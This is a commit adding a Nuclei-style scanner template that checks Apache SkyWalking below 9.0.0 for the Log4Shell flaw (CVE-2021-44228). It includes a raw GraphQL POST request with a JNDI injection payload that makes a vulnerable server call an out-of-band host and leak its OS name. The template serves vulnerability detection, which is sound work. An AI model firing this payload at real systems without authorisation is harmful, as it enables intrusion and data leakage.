skywalking-log4j-rce

patch-1
pwnhxl 2023-03-09 14:03:10 +08:00
parent 181752a786
commit 8d61080695
1 changed files with 53 additions and 0 deletions

View File

@ -0,0 +1,53 @@
id: skywalking-log4j-rce
info:
name: SkyWalking - Remote Code Execution (Apache Log4j)
author: pwnhxl
severity: critical
description: |
SkyWalking < 9.0.0 - Remote Code Execution.
reference:
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://skywalking.apache.org/docs/main/next/en/changes/changes-9.0.0
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
metadata:
fofa-query: title="SkyWalking"
tags: jndi,log4j,rce,oast,skywalking,cve,cve2021
requests:
- raw:
- |
POST /graphql HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Content-Type: application/json
{"query":"${jndi:ldap://${sys:os.name}.{{interactsh-url}}}","variables":{"duration":{"start":"2022-06-22 1015","end":"2022-06-22 1030","step":"MINUTE"}}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
extractors:
- type: kval
kval:
- interactsh_ip # Print remote interaction IP in output
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output